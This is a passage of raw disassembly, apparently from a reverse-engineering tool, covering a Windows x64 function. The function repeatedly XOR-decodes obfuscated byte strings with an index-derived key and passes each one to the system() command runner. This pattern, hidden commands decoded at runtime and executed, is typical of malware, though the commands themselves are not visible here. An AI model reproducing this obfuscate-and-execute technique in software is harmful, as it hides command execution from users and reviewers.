movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140008a90
cmp r8d, 0x23
jge 0x140008bd0
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x23
jl 0x140008ba0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x4a], 0
lea rdx, [rbp + 0x14]
lea rcx, [rsp + 0x4a]
call fcn.1400159e0
mov rcx, rax
cmp byte [rax + 3], 0
je 0x140008cc0
cmp r12d, 2
jl 0x140008c86
movdqa xmm3, xmmword [0x1400902e0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140090330]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140090330]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140090300]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
movd xmm0, dword [rax]
xorps xmm2, xmm0
movd dword [rax], xmm2
jmp 0x140008cc0
mov r9, rcx
mov r8d, ebx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
sub al, dl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140008c90
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x4b], 0
lea rdx, [rbp + 0x580]
lea rcx, [rsp + 0x4b]
call fcn.140015c30
mov r10, rax
cmp byte [rax + 0x18], 0
je 0x140008e70
mov r8d, ebx
cmp r12d, 2
jl 0x140008e33
movdqa xmm5, xmmword [0x1400902e0]
movdqa xmm4, xmmword [0x140090330]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140090300]
movd xmm8, esi
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rbp - 0x40], xmm0
mov rcx, rax
mov edx, dword [rbp - 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140008d30
cmp r8d, 0x19
jge 0x140008e70
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x140008e40
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x4c], 0
lea rdx, [rbp + 0x18]
lea rcx, [rsp + 0x4c]
call fcn.1400159e0
mov rcx, rax
cmp byte [rax + 3], 0
je 0x140008f60
cmp r12d, 2
jl 0x140008f26
movdqa xmm3, xmmword [0x1400902e0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140090330]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140090330]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140090300]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
movd xmm0, dword [rax]
xorps xmm2, xmm0
movd dword [rax], xmm2
jmp 0x140008f60
mov r9, rcx
mov r8d, ebx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
sub al, dl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140008f30
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x4d], 0
lea rdx, [rbp + 0x508]
lea rcx, [rsp + 0x4d]
call fcn.140015c60
mov r10, rax
cmp byte [rax + 0x15], 0
je 0x140009110
mov r8d, ebx
cmp r12d, 2
jl 0x1400090d3
movdqa xmm5, xmmword [0x1400902e0]
movdqa xmm4, xmmword [0x140090330]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140090300]
movd xmm8, esi
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rbp - 0x40], xmm0
mov rcx, rax
mov edx, dword [rbp - 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140008fd0
cmp r8d, 0x16
jge 0x140009110
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x1400090e0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x4e], 0
lea rdx, [rbp + 0x1c]
lea rcx, [rsp + 0x4e]
call fcn.1400159e0
mov rcx, rax
cmp byte [rax + 3], 0
je 0x140009200
cmp r12d, 2
jl 0x1400091c6
movdqa xmm3, xmmword [0x1400902e0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140090330]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140090330]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140090300]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
movd xmm0, dword [rax]
xorps xmm2, xmm0
movd dword [rax], xmm2
jmp 0x140009200
mov r9, rcx
mov r8d, ebx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
sub al, dl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1400091d0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x4f], 0
lea rdx, [rbp + 0x520]
lea rcx, [rsp + 0x4f]
call fcn.140015c90
mov r10, rax
cmp byte [rax + 0x17], 0
je 0x1400093b0
cmp r12d, 2
jl 0x14000936d
movdqa xmm5, xmmword [0x1400902e0]
mov edx, ebx
movdqa xmm4, xmmword [0x140090330]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140090300]
movd xmm8, esi
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rbp - 0x40], xmm0
mov rcx, rax
mov r8d, dword [rbp - 0x40]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x18
jl 0x140009270
jmp 0x1400093b0
mov r9, r10
mov r8d, ebx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
sub al, dl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x140009380
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x50], 0
lea rdx, [rbp + 0x20]
lea rcx, [rsp + 0x50]
call fcn.1400159e0
mov rcx, rax
cmp byte [rax + 3], 0
je 0x1400094a0
cmp r12d, 2
jl 0x140009466
movdqa xmm3, xmmword [0x1400902e0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140090330]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140090330]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140090300]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
movd xmm0, dword [rax]
xorps xmm2, xmm0
movd dword [rax], xmm2
jmp 0x1400094a0
mov r9, rcx
mov r8d, ebx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
sub al, dl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140009470
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x51], 0
lea rdx, [rbp + 0x5c0]
lea rcx, [rsp + 0x51]
call fcn.140015cb0
mov r10, rax
cmp byte [rax + 0x1a], 0
je 0x140009650
mov r8d, ebx
cmp r12d, 2
jl 0x140009613
movdqa xmm5, xmmword [0x1400902e0]
movdqa xmm4, xmmword [0x140090330]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140090300]
movd xmm8, esi
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rbp - 0x40], xmm0
mov rcx, rax
mov edx, dword [rbp - 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140009510
cmp r8d, 0x1b
jge 0x140009650
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x140009620
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x52], 0
lea rdx, [rbp + 0x24]
lea rcx, [rsp + 0x52]
call fcn.1400159e0
mov rcx, rax
cmp byte [rax + 3], 0
je 0x140009740
cmp r12d, 2
jl 0x140009706
movdqa xmm3, xmmword [0x1400902e0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140090330]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140090330]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140090300]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
movd xmm0, dword [rax]
xorps xmm2, xmm0
movd dword [rax], xmm2
jmp 0x140009740
mov r9, rcx
mov r8d, ebx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
sub al, dl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140009710
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x53], 0
lea rdx, [rbp + 0x640]
lea rcx, [rsp + 0x53]
call fcn.140015ce0
mov r10, rax
cmp byte [rax + 0x1d], 0
je 0x1400098f0
mov r8d, ebx
cmp r12d, 2
jl 0x1400098b3
movdqa xmm5, xmmword [0x1400902e0]
movdqa xmm4, xmmword [0x140090330]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140090300]
movd xmm8, esi
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rbp - 0x40], xmm0
mov rcx, rax
mov edx, dword [rbp - 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400097b0
cmp r8d, 0x1e
jge 0x1400098f0
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1e
jl 0x1400098c0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x54], 0
lea rdx, [rbp + 0x28]
lea rcx, [rsp + 0x54]
call fcn.1400159e0
mov rcx, rax
cmp byte [rax + 3], 0
je 0x1400099e0
cmp r12d, 2
jl 0x1400099a6
movdqa xmm3, xmmword [0x1400902e0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140090330]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140090330]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140090300]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
movd xmm0, dword [rax]
xorps xmm2, xmm0
movd dword [rax], xmm2
jmp 0x1400099e0
mov r9, rcx
mov r8d, ebx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
sub al, dl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1400099b0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x55], 0
lea rdx, [rbp + 0xdb0]
lea rcx, [rsp + 0x55]
call fcn.140015d10
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x140009b90
cmp r12d, 2
jl 0x140009b4d
movdqa xmm5, xmmword [0x1400902e0]
mov edx, ebx
movdqa xmm4, xmmword [0x140090330]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140090300]
movd xmm8, esi
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rbp - 0x40], xmm0
mov rcx, rax
mov r8d, dword [rbp - 0x40]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140009a50
jmp 0x140009b90
mov r9, r10
mov r8d, ebx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
sub al, dl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140009b60
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x56], 0
lea rdx, [rbp + 0x2c]
lea rcx, [rsp + 0x56]
call fcn.1400159e0
mov rcx, rax
cmp byte [rax + 3], 0
je 0x140009c80
cmp r12d, 2
jl 0x140009c46
movdqa xmm3, xmmword [0x1400902e0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140090330]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140090330]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140090300]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
movd xmm0, dword [rax]
xorps xmm2, xmm0
movd dword [rax], xmm2
jmp 0x140009c80
mov r9, rcx
mov r8d, ebx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
sub al, dl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140009c50
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x57], 0
lea rdx, [rbp + 0x538]
lea rcx, [rsp + 0x57]
call fcn.140015d50
mov r10, rax
cmp byte [rax + 0x17], 0
je 0x140009e30
cmp r12d, 2
jl 0x140009ded
movdqa xmm5, xmmword [0x1400902e0]
mov edx, ebx
movdqa xmm4, xmmword [0x140090330]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140090300]
movd xmm8, esi
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rbp - 0x40], xmm0
mov rcx, rax
mov r8d, dword [rbp - 0x40]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
